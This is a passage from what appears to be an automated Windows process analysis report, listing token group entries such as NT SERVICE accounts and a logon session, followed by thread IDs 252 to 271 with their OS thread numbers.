SERVICE\\vmictimesync" [0xa], "S-1-5-80-1495648203-2503502111-1597754693-3445174711-1316708627" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009f65" [0xc000000f], "LOCAL" [0x7] Thread: id = 252 os_tid = 0xd70 Thread: id = 253 os_tid = 0xe88 Thread: id = 254 os_tid = 0xff8 Thread: id = 255 os_tid = 0x36c Thread: id = 256 os_tid = 0x9e4 Thread: id = 257 os_tid = 0xdfc Thread: id = 258 os_tid = 0x840 Thread: id = 259 os_tid = 0xf20 Thread: id = 260 os_tid = 0xf1c Thread: id = 261 os_tid = 0x62c Thread: id = 262 os_tid = 0x464 Thread: id = 263 os_tid = 0x460 Thread: id = 264 os_tid = 0x450 Thread: id = 265 os_tid = 0x424 Thread: id = 266 os_tid = 0x420 Thread: id = 267 os_tid = 0x41c Thread: id = 268 os_tid = 0x410 Thread: id = 269 os_tid = 0x194 Thread: id = 270 os_tid = 0x198 Thread: id = 271 os_tid = 0x3f8